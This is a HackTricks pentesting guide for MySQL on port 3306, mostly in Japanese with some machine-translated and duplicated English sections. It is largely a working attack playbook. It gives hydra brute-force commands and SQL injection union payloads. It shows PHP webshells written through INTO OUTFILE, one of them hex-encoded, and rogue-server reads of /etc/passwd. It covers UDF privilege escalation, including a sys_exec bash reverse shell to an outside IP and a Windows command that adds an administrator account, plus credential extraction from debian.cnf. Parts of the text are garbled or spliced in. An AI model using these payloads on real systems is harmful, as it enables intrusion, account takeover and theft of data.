hacktricks/network-services-pentesting/pentesting-mysql.md
2023-07-07 23:42:27 +00:00

929 lines
39 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 3306 - Pentesting Mysql
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有する**ために、PRを**hacktricksリポジトリ**と**hacktricks-cloudリポジトリ**に提出してください。
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としており、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## **基本情報**
**MySQL**は、構造化クエリ言語(**SQL**を使用するフリーオープンソースのリレーショナルデータベース管理システムRDBMSです。[ここから](https://www.siteground.com/tutorials/php-mysql/mysql/)。
**デフォルトポート:** 3306
```
3306/tcp open mysql
```
## **接続**
### **ローカル**
```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
### リモート
#### MySQL
MySQLは、オープンソースのリレーショナルデータベース管理システムであり、多くのWebアプリケーションで使用されています。MySQLサーバーに対するリモートアクセスをテストするために、以下の手法を使用できます。
##### ポートスキャン
MySQLサーバーが実行されているホストでポートスキャンを実行し、MySQLのデフォルトポートである3306番ポートが開いているかどうかを確認します。
```
nmap -p 3306 <target_ip>
```
##### デフォルトのクレデンシャル
MySQLサーバーには、デフォルトのクレデンシャルが設定されている場合があります。以下のクレデンシャルを試してみてください。
```
Username: root
Password: (空白)
```
##### ユーザーの辞書攻撃
ユーザー名とパスワードの辞書を使用して、MySQLサーバーに対してブルートフォース攻撃を実行します。
```
hydra -L <user_dictionary> -P <password_dictionary> <target_ip> mysql
```
##### SQLインジェクション
WebアプリケーションがMySQLデータベースとやり取りする場合、SQLインジェクションの脆弱性が存在する可能性があります。適切なテストベクトルを使用して、SQLインジェクション攻撃を実行します。
##### データベースの情報漏洩
MySQLサーバーに接続できた場合、データベースの情報を取得することができます。以下のコマンドを使用して、データベースの一覧を表示します。
```
SHOW DATABASES;
```
##### ユーザーの情報漏洩
MySQLサーバーに接続できた場合、ユーザーの情報を取得することができます。以下のコマンドを使用して、ユーザーの一覧を表示します。
```
SELECT user FROM mysql.user;
```
##### データベースのダンプ
MySQLサーバーに接続できた場合、データベースのダンプを作成することができます。以下のコマンドを使用して、データベースのダンプを作成します。
```
mysqldump -u <username> -p <database_name> > dump.sql
```
##### リモートコード実行
MySQLサーバーに接続できた場合、一部のバージョンではリモートコード実行が可能な場合があります。以下のコマンドを使用して、リモートコード実行を試みます。
```
SELECT /*!50000*/ 0x3c3f706870206576616c28245f504f53545b2272616e646f6d5f636f6465225d293b3f3e INTO OUTFILE '/var/www/html/shell.php';
```
これにより、`shell.php`という名前のファイルが作成され、リモートコード実行が可能になります。
```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## 外部列挙
一部の列挙アクションには有効な資格情報が必要です。
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#mysql)
### 任意のバイナリデータを書き込む
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
## **MySQLコマンド**
MySQL is a popular open-source relational database management system. It is widely used in web applications and is known for its speed and reliability. In this section, we will explore some commonly used MySQL commands for database management and manipulation.
### **1. Connecting to MySQL**
To connect to a MySQL database, you can use the following command:
```bash
mysql -h <host> -u <username> -p
```
Replace `<host>` with the hostname or IP address of the MySQL server, `<username>` with the username, and `<password>` with the password.
### **2. Creating a Database**
To create a new database, you can use the `CREATE DATABASE` command:
```sql
CREATE DATABASE <database_name>;
```
Replace `<database_name>` with the desired name for the database.
### **3. Selecting a Database**
To select a database to work with, you can use the `USE` command:
```sql
USE <database_name>;
```
Replace `<database_name>` with the name of the database you want to select.
### **4. Creating Tables**
To create a new table in a database, you can use the `CREATE TABLE` command:
```sql
CREATE TABLE <table_name> (
<column1_name> <column1_type>,
<column2_name> <column2_type>,
...
);
```
Replace `<table_name>` with the desired name for the table, `<column1_name>` with the name of the first column, `<column1_type>` with the data type of the first column, and so on.
### **5. Inserting Data**
To insert data into a table, you can use the `INSERT INTO` command:
```sql
INSERT INTO <table_name> (<column1_name>, <column2_name>, ...)
VALUES (<value1>, <value2>, ...);
```
Replace `<table_name>` with the name of the table, `<column1_name>` with the name of the first column, `<column2_name>` with the name of the second column, and so on. Replace `<value1>`, `<value2>`, etc. with the actual values you want to insert.
### **6. Querying Data**
To retrieve data from a table, you can use the `SELECT` command:
```sql
SELECT <column1_name>, <column2_name>, ...
FROM <table_name>
WHERE <condition>;
```
Replace `<column1_name>`, `<column2_name>`, etc. with the names of the columns you want to retrieve. Replace `<table_name>` with the name of the table. Replace `<condition>` with the condition that the retrieved data must meet.
### **7. Updating Data**
To update data in a table, you can use the `UPDATE` command:
```sql
UPDATE <table_name>
SET <column1_name> = <new_value1>, <column2_name> = <new_value2>, ...
WHERE <condition>;
```
Replace `<table_name>` with the name of the table. Replace `<column1_name>`, `<column2_name>`, etc. with the names of the columns you want to update. Replace `<new_value1>`, `<new_value2>`, etc. with the new values you want to set. Replace `<condition>` with the condition that the data to be updated must meet.
### **8. Deleting Data**
To delete data from a table, you can use the `DELETE FROM` command:
```sql
DELETE FROM <table_name>
WHERE <condition>;
```
Replace `<table_name>` with the name of the table. Replace `<condition>` with the condition that the data to be deleted must meet.
These are just a few examples of the many commands available in MySQL. By mastering these commands, you will be able to perform various tasks related to database management and manipulation.
```bash
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
#Get a shell with the mysql client user
\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```
```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### MySQLの権限列挙
MySQLの権限列挙は、データベースサーバー上のユーザーの権限を特定するための重要な手法です。以下に、MySQLの権限列挙に使用できるいくつかのテクニックを示します。
#### 1. SHOW GRANTSコマンド
SHOW GRANTSコマンドは、ユーザーに与えられた権限を表示するために使用されます。次のコマンドを使用して、特定のユーザーの権限を表示できます。
```sql
SHOW GRANTS FOR 'username'@'localhost';
```
#### 2. INFORMATION_SCHEMAデータベース
INFORMATION_SCHEMAデータベースには、MySQLサーバーのメタデータが格納されています。以下のクエリを使用して、ユーザーの権限に関する情報を取得できます。
```sql
SELECT * FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE GRANTEE LIKE '%username%';
```
#### 3. mysql.userテーブル
mysql.userテーブルには、MySQLサーバーのユーザーに関する情報が格納されています。次のクエリを使用して、ユーザーの権限に関する情報を取得できます。
```sql
SELECT * FROM mysql.user WHERE user = 'username';
```
これらのテクニックを使用して、MySQLの権限を列挙することができます。これにより、セキュリティ上の脆弱性や潜在的な攻撃経路を特定することができます。
```sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();
# Get users, permissions & hashes
SELECT * FROM mysql.user;
#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';
# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
ドキュメントでは、各権限の意味がわかります:[https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
### MySQLファイルRCE
{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
[mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
{% endcontent-ref %}
## クライアントによるMySQL任意のファイル読み取り
実際には、**テーブルにローカルデータをロードする**ときに、MySQLまたはMariaDBサーバーは**クライアントにファイルの内容を読み取り**、その内容を送信するように要求します。**したがって、自分のMySQLサーバーに接続するようにmysqlクライアントを改ざんできれば、任意のファイルを読み取ることができます。**\
なお、これは次のような動作です:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(「local」という単語に注意)\
「local」がないと、次のような結果になります
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**初期のPoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**この論文では、攻撃の完全な説明やRCEへの拡張方法さえ見ることができます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**ここでは攻撃の概要を見つけることができます:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進する使命を持つこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家にとっての活気ある交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## POST
### Mysqlユーザー
もしmysqlが**root**として実行されている場合、非常に興味深いことです。
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### mysqld.cnfの危険な設定
[https://academy.hackthebox.com/module/112/section/1238](https://academy.hackthebox.com/module/112/section/1238)から
| **設定** | **説明** |
| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------- |
| `user` | MySQLサービスが実行されるユーザーを設定します。 |
| `password` | MySQLユーザーのパスワードを設定します。 |
| `admin_address` | 管理ネットワークインターフェースでTCP/IP接続を待ち受けるためのIPアドレスを設定します。 |
| `debug` | この変数は現在のデバッグ設定を示します(ログ内の機密情報)。 |
| `sql_warnings` | この変数は、単一行のINSERTステートメントが警告が発生した場合に情報文字列を生成するかどうかを制御しますログ内の機密情報。 |
| `secure_file_priv` | この変数は、データのインポートおよびエクスポート操作の効果を制限するために使用されます。 |
### 特権昇格
```bash
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### ライブラリを使用した特権昇格
もし**mysqlサーバーがrootユーザー**(または他の特権を持つユーザー)として実行されている場合、コマンドを実行させることができます。そのためには、**ユーザー定義関数**を使用する必要があります。そして、mysqlを実行しているOSのための**ライブラリ**を作成する必要があります。
悪意のあるライブラリは、sqlmapやmetasploitの中にある**`locate "*lib_mysqludf_sys*"`**を実行することで見つけることができます。**`.so`**ファイルは**Linux**のライブラリであり、**`.dll`**ファイルは**Windows**のものです。必要なものを選択してください。
もしもこれらのライブラリを**持っていない**場合は、それらを**探す**か、この[**Linux Cコード**](https://www.exploit-db.com/exploits/1518)をダウンロードし、**Linuxの脆弱なマシン内でコンパイル**してください。
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
今、ライブラリを持っているので、特権ユーザーrootとしてMysqlにログインし、次の手順に従ってください
#### Linux
```sql
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```
#### Windows
#### ウィンドウズ
##### MySQL Service
##### MySQL サービス
###### MySQL Enumeration
###### MySQL 列挙
To enumerate MySQL service on a Windows machine, you can use the following techniques:
ウィンドウズマシン上のMySQLサービスを列挙するために、以下のテクニックを使用することができます。
###### 1. Port Scanning
###### 1. ポートスキャン
Perform a port scan to identify if the MySQL service is running on the target machine. You can use tools like Nmap or Masscan for this purpose.
ポートスキャンを実行して、ターゲットマシンでMySQLサービスが実行されているかどうかを特定します。この目的のために、NmapやMasscanなどのツールを使用することができます。
###### 2. Banner Grabbing
###### 2. バナーグラビング
Use tools like Telnet or Netcat to connect to the MySQL service port (default is 3306) and grab the banner information. This can provide valuable information about the MySQL version and other details.
TelnetやNetcatなどのツールを使用して、MySQLサービスポートデフォルトは3306に接続し、バナー情報を取得します。これにより、MySQLのバージョンやその他の詳細な情報を得ることができます。
###### 3. Service Enumeration
###### 3. サービス列挙
Use tools like Metasploit or Nmap scripts to enumerate the MySQL service and gather information about the running version, supported authentication methods, and other details.
MetasploitやNmapスクリプトなどのツールを使用して、MySQLサービスを列挙し、実行中のバージョン、サポートされている認証方法、その他の詳細な情報を収集します。
###### 4. Default Credentials
###### 4. デフォルトの資格情報
Try using default credentials for MySQL, such as "root" with no password, to gain unauthorized access to the service.
MySQLのデフォルトの資格情報パスワードなしの "root")を使用して、サービスへの不正アクセスを試みます。
###### 5. Brute-Force Attacks
###### 5. ブルートフォース攻撃
If default credentials do not work, you can try brute-forcing the MySQL service using tools like Hydra or Medusa. This involves systematically trying different username and password combinations until a valid one is found.
デフォルトの資格情報が機能しない場合、HydraやMedusaなどのツールを使用してMySQLサービスをブルートフォース攻撃することができます。これには、有効な組み合わせが見つかるまで、異なるユーザー名とパスワードの組み合わせをシステム的に試すことが含まれます。
###### 6. Exploiting Vulnerabilities
###### 6. 脆弱性の悪用
If any known vulnerabilities exist in the MySQL service, you can attempt to exploit them using tools like Metasploit or custom scripts.
MySQLサービスに既知の脆弱性が存在する場合、Metasploitやカスタムスクリプトなどのツールを使用してそれらを悪用することができます。
###### 7. SQL Injection
###### 7. SQLインジェクション
If the target application is using MySQL as its database, you can try SQL injection attacks to gain unauthorized access to the database or extract sensitive information.
ターゲットアプリケーションがデータベースとしてMySQLを使用している場合、SQLインジェクション攻撃を試みて、データベースへの不正アクセスや機密情報の抽出を行うことができます。
###### 8. Password Cracking
###### 8. パスワードクラッキング
If you have obtained a hash of a MySQL user's password, you can use tools like John the Ripper or Hashcat to crack the password and gain unauthorized access to the MySQL service.
MySQLユーザーのパスワードのハッシュを取得した場合、John the RipperやHashcatなどのツールを使用してパスワードをクラックし、MySQLサービスへの不正アクセスを行うことができます。
###### 9. Privilege Escalation
###### 9. 特権昇格
If you have gained access to a MySQL user account with limited privileges, you can try to escalate your privileges by exploiting vulnerabilities or misconfigurations in the MySQL service.
制限された特権を持つMySQLユーザーアカウントにアクセスできた場合、MySQLサービスの脆弱性や誤った設定を悪用して特権を昇格させることができます。
###### 10. Data Exfiltration
###### 10. データの外部流出
If you have gained unauthorized access to the MySQL service, you can exfiltrate data by extracting it from the database or by executing commands on the target machine.
MySQLサービスへの不正アクセスに成功した場合、データベースからデータを抽出したり、ターゲットマシンでコマンドを実行したりすることで、データを外部に流出させることができます。
```sql
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### ファイルからMySQLの認証情報を抽出する
_/etc/mysql/debian.cnf_ 内には、ユーザー **debian-sys-maint****平文のパスワード** が記載されています。
```bash
cat /etc/mysql/debian.cnf
```
以下の資格情報を使用して、MySQLデータベースにログインできます。
ファイル_/var/lib/mysql/mysql/user.MYD_ 内には、MySQLユーザーのすべてのハッシュデータベース内のmysql.userから抽出できるものが含まれています。
抽出するには、次の手順を実行できます。
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### ロギングの有効化
`/etc/mysql/my.cnf` 内の mysql クエリのロギングを有効化するために、以下の行のコメントを外します:
![](<../.gitbook/assets/image (277).png>)
### 便利なファイル
設定ファイル
* windows \*
* config.ini
* my.ini
* windows\my.ini
* winnt\my.ini
* \<InstDir>/mysql/data/
* unix
* my.cnf
* /etc/my.cnf
* /etc/mysql/my.cnf
* /var/lib/mysql/my.cnf
* \~/.my.cnf
* /etc/my.cnf
* コマンド履歴
* \~/.mysql.history
* ログファイル
* connections.log
* update.log
* common.log
## デフォルトの MySQL データベース/テーブル
{% tabs %}
{% tab title="information_schema" %}
ALL\_PLUGINS\
APPLICABLE\_ROLES\
CHARACTER\_SETS\
CHECK\_CONSTRAINTS\
COLLATIONS\
COLLATION\_CHARACTER\_SET\_APPLICABILITY\
COLUMNS\
COLUMN\_PRIVILEGES\
ENABLED\_ROLES\
ENGINES\
EVENTS\
FILES\
GLOBAL\_STATUS\
GLOBAL\_VARIABLES\
KEY\_COLUMN\_USAGE\
KEY\_CACHES\
OPTIMIZER\_TRACE\
PARAMETERS\
PARTITIONS\
PLUGINS\
PROCESSLIST\
PROFILING\
REFERENTIAL\_CONSTRAINTS\
ROUTINES\
SCHEMATA\
SCHEMA\_PRIVILEGES\
SESSION\_STATUS\
SESSION\_VARIABLES\
STATISTICS\
SYSTEM\_VARIABLES\
TABLES\
TABLESPACES\
TABLE\_CONSTRAINTS\
TABLE\_PRIVILEGES\
TRIGGERS\
USER\_PRIVILEGES\
VIEWS\
INNODB\_LOCKS\
INNODB\_TRX\
INNODB\_SYS\_DATAFILES\
INNODB\_FT\_CONFIG\
INNODB\_SYS\_VIRTUAL\
INNODB\_CMP\
INNODB\_FT\_BEING\_DELETED\
INNODB\_CMP\_RESET\
INNODB\_CMP\_PER\_INDEX\
INNODB\_CMPMEM\_RESET\
INNODB\_FT\_DELETED\
INNODB\_BUFFER\_PAGE\_LRU\
INNODB\_LOCK\_WAITS\
INNODB\_TEMP\_TABLE\_INFO\
INNODB\_SYS\_INDEXES\
INNODB\_SYS\_TABLES\
INNODB\_SYS\_FIELDS\
INNODB\_CMP\_PER\_INDEX\_RESET\
INNODB\_BUFFER\_PAGE\
INNODB\_FT\_DEFAULT\_STOPWORD\
INNODB\_FT\_INDEX\_TABLE\
INNODB\_FT\_INDEX\_CACHE\
INNODB\_SYS\_TABLESPACES\
INNODB\_METRICS\
INNODB\_SYS\_FOREIGN\_COLS\
INNODB\_CMPMEM\
INNODB\_BUFFER\_POOL\_STATS\
INNODB\_SYS\_COLUMNS\
INNODB\_SYS\_FOREIGN\
INNODB\_SYS\_TABLESTATS\
GEOMETRY\_COLUMNS\
SPATIAL\_REF\_SYS\
CLIENT\_STATISTICS\
INDEX\_STATISTICS\
USER\_STATISTICS\
INNODB\_MUTEXES\
TABLE\_STATISTICS\
INNODB\_TABLESPACES\_ENCRYPTION\
user\_variables\
INNODB\_TABLESPACES\_SCRUBBING\
INNODB\_SYS\_SEMAPHORE\_WAITS
{% endtab %}
{% tab title="mysql" %}
columns\_priv\
column\_stats\
db\
engine\_cost\
event\
func\
general\_log\
gtid\_executed\
gtid\_slave\_pos\
help\_category\
help\_keyword\
help\_relation\
help\_topic\
host\
index\_stats\
innodb\_index\_stats\
innodb\_table\_stats\
ndb\_binlog\_index\
plugin\
proc\
procs\_priv\
proxies\_priv\
roles\_mapping\
server\_cost\
servers\
slave\_master\_info\
slave\_relay\_log\_info\
slave\_worker\_info\
slow\_log\
tables\_priv\
table\_stats\
time\_zone\
time\_zone\_leap\_second\
time\_zone\_name\
time\_zone\_transition\
time\_zone\_transition\_type\
transaction\_registry\
user
{% endtab %}
{% tab title="performance_schema" %}
accounts\
cond\_instances\
events\_stages\_current\
events\_stages\_history\
events\_stages\_history\_long\
events\_stages\_summary\_by\_account\_by\_event\_name\
events\_stages\_summary\_by\_host\_by\_event\_name\
events\_stages\_summary\_by\_thread\_by\_event\_name\
events\_stages\_summary\_by\_user\_by\_event\_name\
events\_stages\_summary\_global\_by\_event\_name\
events\_statements\_current\
events\_statements\_history\
events\_statements\_history\_long\
events\_statements\_summary\_by\_account\_by\_event\_name\
events\_statements\_summary\_by\_digest\
events\_statements\_summary\_by\_host\_by\_event\_name\
events\_statements\_summary\_by\_program\
events\_statements\_summary\_by\_thread\_by\_event\_name\
events\_statements\_summary\_by\_user\_by\_event\_name\
events\_statements\_summary\_global\_by\_event\_name\
events\_transactions\_current\
events\_transactions\_history\
events\_transactions\_history\_long\
events\_transactions\_summary\_by\_account\_by\_event\_name\
events\_transactions\_summary\_by\_host\_by\_event\_name\
events\_transactions\_summary\_by\_thread\_by\_event\_name\
events\_transactions\_summary\_by\_user\_by\_event\_name\
events\_transactions\_summary\_global\_by\_event\_name\
events\_waits\_current\
events\_waits\_history\
events\_waits\_history\_long\
events\_waits\_summary\_by\_account\_by\_event\_name\
events\_waits\_summary\_by\_host\_by\_event\_name\
events\_waits\_summary\_by\_instance\
events\_waits\_summary\_by\_thread\_by\_event\_name\
events\_waits\_summary\_by\_user\_by\_event\_name\
events\_waits\_summary\_global\_by\_event\_name\
file\_instances\
file\_summary\_by\_event\_name\
file\_summary\_by\_instance\
global\_status\
global\_variables\
host\_cache\
hosts\
memory\_summary\_by\_account\_by\_event\_name\
memory\_summary\_by\_host\_by\_event\_name\
memory\_summary\_by\_thread\_by\_event\_name\
memory\_summary\_by\_user\_by\_event\_name\
memory\_summary\_global\_by\_event\_name\
metadata\_locks\
mutex\_instances\
objects\_summary\_global\_by\_type\
performance\_timers\
prepared\_statements\_instances\
replication\_applier\_configuration\
replication\_applier\_status\
replication\_applier\_status\_by\_coordinator\
replication\_applier\_status\_by\_worker\
replication\_connection\_configuration\
replication\_connection\_status\
replication\_group\_member\_stats\
replication\_group\_members\
rwlock\_instances\
session\_account\_connect\_attrs\
session\_connect\_attrs\
session\_status\
session\_variables\
setup\_actors\
setup\_consumers\
setup\_instruments\
setup\_objects\
setup\_timers\
socket\_instances\
socket\_summary\_by\_event\_name\
socket\_summary\_by\_instance\
status\_by\_account\
status\_by\_host\
status\_by\_thread\
status\_by\_user\
table\_handles\
table\_io\_waits\_summary\_by\_index\_usage\
table\_io\_waits\_summary\_by\_table\
table\_lock\_waits\_summary\_by\_table\
threads\
user\_variables\_by\_thread\
users\
variables\_by\_thread
{% endtab %}
{% tab title="sys" %}
host\_summary\
host\_summary\_by\_file\_io\
host\_summary\_by\_file\_io\_type\
host\_summary\_by\_stages\
host\_summary\_by\_statement\_latency\
host\_summary\_by\_statement\_type\
innodb\_buffer\_stats\_by\_schema\
innodb\_buffer\_stats\_by\_table\
innodb\_lock\_waits\
io\_by\_thread\_by\_latency\
io\_global\_by\_file\_by\_bytes\
io\_global\_by\_file\_by\_latency\
io\_global\_by\_wait\_by\_bytes\
io\_global\_by\_wait\_by\_latency\
latest\_file\_io\
memory\_by\_host\_by\_current\_bytes\
memory\_by\_thread\_by\_current\_bytes\
memory\_by\_user\_by\_current\_bytes\
memory\_global\_by\_current\_bytes\
memory\_global\_total\
metrics\
processlist\
ps\_check\_lost\_instrumentation\
schema\_auto\_increment\_columns\
schema\_index\_statistics\
schema\_object\_overview\
schema\_redundant\_indexes\
schema\_table\_lock\_waits\
schema\_table\_statistics\
schema\_table\_statistics\_with\_buffer\
schema\_tables\_with\_full\_table\_scans\
schema\_unused\_indexes\
session\
session\_ssl\_status\
statement\_analysis\
statements\_with\_errors\_or\_warnings\
statements\_with\_full\_table\_scans\
statements\_with\_runtimes\_in\_95th\_percentile\
statements\_with\_sorting\
statements\_with\_temp\_tables\
sys\_config\
user\_summary\
user\_summary\_by\_file\_io\
user\_summary\_by\_file\_io\_type\
user\_summary\_by\_stages\
user\_summary\_by\_statement\_latency\
user\_summary\_by\_statement\_type\
version\
wait\_classes\_global\_by\_avg\_latency\
wait\_classes\_global\_by\_latency\
waits\_by\_host\_by\_latency\
waits\_by\_user\_by\_latency\
waits\_global\_by\_latency\
x$host\_summary\
x$host\_summary\_by\_file\_io\
x$host\_summary\_by\_file\_io\_type\
x$host\_summary\_by\_stages\
x$host\_summary\_by\_statement\_latency\
x$host\_summary\_by\_statement\_type\
x$innodb\_buffer\_stats\_by\_schema\
x$innodb\_buffer\_stats\_by\_table\
x$innodb\_lock\_waits\
x$io\_by\_thread\_by\_latency\
x$io\_global\_by\_file\_by\_bytes\
x$io\_global\_by\_file\_by\_latency\
x$io\_global\_by\_wait\_by\_bytes\
x$io\_global\_by\_wait\_by\_latency\
x$latest\_file\_io\
x$memory\_by\_host\_by\_current\_bytes\
x$memory\_by\_thread\_by\_current\_bytes\
x$memory\_by\_user\_by\_current\_bytes\
x$memory\_global\_by\_current\_bytes\
x$memory\_global\_total\
x$processlist\
x$ps\_digest\_95th\_percentile\_by\_avg\_us\
x$ps\_digest\_avg\_latency\_distribution\
x$ps\_schema\_table\_statistics\_io\
x$schema\_flattened\_keys\
x$schema\_index\_statistics\
x$schema\_table\_lock\_waits\
x$schema\_table\_statistics\
x$schema\_table\_statistics\_with\_buffer\
x$schema\_tables\_with\_full\_table\_scans\
x$session\
x$statement\_analysis\
x$statements\_with\_errors\_or\_warnings\
x$statements\_with\_full\_table\_scans\
x$statements\_with\_runtimes\_in\_95th\_percentile\
x$statements\_with\_sorting\
x$statements\_with\_temp\_tables\
x$user\_summary\
x$user\_summary\_by\_file\_io\
x$user\_summary\_by\_file\_io\_type\
x$user\_summary\_by\_stages\
x$user\_summary\_by\_statement\_latency\
